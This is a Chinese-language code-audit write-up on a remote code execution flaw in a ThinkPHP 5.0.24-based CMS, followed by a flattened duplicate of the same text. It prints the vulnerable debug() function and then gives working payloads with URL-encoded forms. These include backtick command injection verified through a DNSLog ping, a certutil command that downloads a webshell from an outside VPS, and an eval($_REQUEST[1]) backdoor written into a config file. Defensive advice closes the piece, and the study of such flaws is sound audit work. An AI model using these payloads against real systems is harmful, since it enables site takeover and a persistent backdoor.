某cms代码审计RCE&艰难bypass(思路清奇)
字数 1299 2025-08-05 00:15:08

ThinkPHP5.0.24 CMS代码审计与RCE绕过分析

0x00 漏洞环境准备

环境搭建:

  • 使用phpstudy一键搭建环境
  • 下载地址:https://www.xp.cn/download.html

审计工具:

  • Notepad++:用于代码查看
  • Seay源代码审计工具:用于初步扫描危险函数
  • PHPStorm(推荐):用于更深入的代码流程分析

目标系统:

  • ThinkPHP 5.0.24框架
  • 漏洞文件位置:/app/admin/controller/api.php中的debug函数

0x01 漏洞点分析

漏洞代码片段

public function debug() {
    $path = 'app/extra/debug.php';
    $file = include $path;
    $config = array(
        'name' => input('id'),
    );
    $config = preg_replace("/[?> <? ] / ", '', $config );
    $res = array_merge($file, $config);
    $str = '<?php return [';
    foreach($res as $key => $value) {
        $str .= $key . $value;
    }
    $str .= '];';
    if(file_put_contents($path, $str)) {
        return json(array('code' => 1, 'msg' => '操作成功'));
    } else {
        return json(array('code' => 0, 'msg' => '操作失败'));
    }
}

漏洞原理

  1. 用户可控输入:通过input('id')获取用户输入
  2. 危险函数:使用file_put_contents将用户输入写入PHP文件
  3. 过滤不充分:仅过滤了?><?和空格,其他字符未过滤

访问路径

http://127.0.0.1/index.php/admin-api-debug.html?id=PAYLOAD

0x02 绕过思路与利用

第一次尝试:直接代码执行

Payload:

123'];phpinfo();//

生成文件内容:

<?php return [
    'name' => '123']; phpinfo(); //',
];

问题

  • return语句后的代码不会执行
  • PHP的return会终止后续代码执行

第二次尝试:在return数组中执行代码

Payload:

123', eval($_REQUEST[1]); ',

问题

  • 语法错误,无法正常执行

第三次尝试:命令执行

DNSLog验证:

123']&`ping 123.yh6nta.dnslog.cn`;//

URL编码后:

123%27%5D%26%60ping%20123.yh6nta.dnslog.cn%60%3B%2F%2F

生成文件内容:

<?php return [
    'name' => '123'] & `ping 123.yh6nta.dnslog.cn`; //',
];

优点

  • 成功执行系统命令
  • 通过DNSLog验证命令执行

Windows系统利用

方法一:下载Webshell

步骤:

  1. 在VPS上放置一句话木马文件(如shell.php
  2. 使用certutil下载文件

Payload:

']&`certutil -urlcache -split -f http://vps/shell.php 1.php`;//

URL编码:

%27%5D%26%60certutil%20-urlcache%20-split%20-f%20http%3A%2F%2Fvps%2Fshell.php%201.php%60%3B%2F%2F

方法二:直接代码执行

Payload:

123']&&eval($_REQUEST[1]);//

URL编码:

123%27%5D%26%26eval(%24_REQUEST%5B1%5D)%3B%2F%2F

生成文件内容:

<?php return [
    'name' => '123'] && eval($_REQUEST[1]); //',
];

优点

  • 直接实现代码执行
  • 可通过$_REQUEST[1]参数执行任意PHP代码

0x03 漏洞利用链总结

  1. 发现注入点:找到将用户输入写入PHP文件的功能
  2. 绕过过滤
    • 过滤了?><?和空格
    • 可利用']等未过滤字符闭合语句
  3. 执行方式选择
    • 直接代码执行(需绕过return限制)
    • 系统命令执行(无回显时可结合DNSLog验证)
  4. 持久化
    • 下载Webshell文件
    • 直接写入可执行代码

0x04 防御建议

  1. 输入过滤

    • 严格过滤所有特殊字符,特别是'";&|
    • 使用白名单机制限制输入内容
  2. 安全编码

    • 避免将用户输入直接写入可执行文件
    • 如需写入文件,应对内容进行严格编码或序列化
  3. 权限控制

    • 限制debug功能的访问权限
    • 在生产环境禁用此类调试功能
  4. 框架升级

    • 升级到ThinkPHP最新版本
    • 修复已知的安全漏洞

0x05 学习要点

  1. PHP语言特性

    • return语句的行为特性
    • 数组语法与语句闭合
  2. 绕过技巧

    • 利用未过滤字符闭合语句
    • 命令执行与代码执行的转换
  3. 无回显利用

    • DNSLog验证技术
    • 文件下载与执行
  4. 审计方法

    • 危险函数定位(file_put_contents等)
    • 用户输入追踪
    • 过滤机制分析

通过此案例,可以深入理解代码审计中从漏洞发现到利用的完整过程,以及如何针对特定过滤机制设计绕过方案。

ThinkPHP5.0.24 CMS代码审计与RCE绕过分析 0x00 漏洞环境准备 环境搭建: 使用phpstudy一键搭建环境 下载地址:https://www.xp.cn/download.html 审计工具: Notepad++:用于代码查看 Seay源代码审计工具:用于初步扫描危险函数 PHPStorm(推荐):用于更深入的代码流程分析 目标系统: ThinkPHP 5.0.24框架 漏洞文件位置: /app/admin/controller/api.php 中的 debug 函数 0x01 漏洞点分析 漏洞代码片段 漏洞原理 用户可控输入 :通过 input('id') 获取用户输入 危险函数 :使用 file_put_contents 将用户输入写入PHP文件 过滤不充分 :仅过滤了 ?> 、 <? 和空格,其他字符未过滤 访问路径 0x02 绕过思路与利用 第一次尝试:直接代码执行 Payload: 生成文件内容: 问题 : return 语句后的代码不会执行 PHP的 return 会终止后续代码执行 第二次尝试:在return数组中执行代码 Payload: 问题 : 语法错误,无法正常执行 第三次尝试:命令执行 DNSLog验证: URL编码后: 生成文件内容: 优点 : 成功执行系统命令 通过DNSLog验证命令执行 Windows系统利用 方法一:下载Webshell 步骤: 在VPS上放置一句话木马文件(如 shell.php ) 使用certutil下载文件 Payload: URL编码: 方法二:直接代码执行 Payload: URL编码: 生成文件内容: 优点 : 直接实现代码执行 可通过 $_REQUEST[1] 参数执行任意PHP代码 0x03 漏洞利用链总结 发现注入点 :找到将用户输入写入PHP文件的功能 绕过过滤 : 过滤了 ?> 、 <? 和空格 可利用 ' 、 ] 等未过滤字符闭合语句 执行方式选择 : 直接代码执行(需绕过return限制) 系统命令执行(无回显时可结合DNSLog验证) 持久化 : 下载Webshell文件 直接写入可执行代码 0x04 防御建议 输入过滤 : 严格过滤所有特殊字符,特别是 ' 、 " 、 ; 、 & 、 | 等 使用白名单机制限制输入内容 安全编码 : 避免将用户输入直接写入可执行文件 如需写入文件,应对内容进行严格编码或序列化 权限控制 : 限制debug功能的访问权限 在生产环境禁用此类调试功能 框架升级 : 升级到ThinkPHP最新版本 修复已知的安全漏洞 0x05 学习要点 PHP语言特性 : return 语句的行为特性 数组语法与语句闭合 绕过技巧 : 利用未过滤字符闭合语句 命令执行与代码执行的转换 无回显利用 : DNSLog验证技术 文件下载与执行 审计方法 : 危险函数定位(file_ put_ contents等) 用户输入追踪 过滤机制分析 通过此案例,可以深入理解代码审计中从漏洞发现到利用的完整过程,以及如何针对特定过滤机制设计绕过方案。